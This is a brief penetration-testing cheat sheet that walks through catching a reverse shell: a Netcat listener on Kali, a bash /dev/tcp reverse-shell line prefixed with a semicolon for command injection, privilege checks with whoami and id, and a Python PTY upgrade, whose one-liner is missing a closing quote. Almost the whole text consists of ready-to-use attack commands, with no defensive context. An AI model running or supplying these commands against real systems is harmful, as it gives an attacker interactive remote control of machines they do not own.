Setup a listener on Kali using Netcat
nc -nlvp 4444
Use the following to connect back to the listener from the target:
; bash -i>&/dev/tcp/LOCALIP/4444 0>&1
Use the following to find out your user and privileges:
whoami id
To create a more interactive shell from the netcat shell try:
python -c 'import pty;pty.spawn("/bin/sh")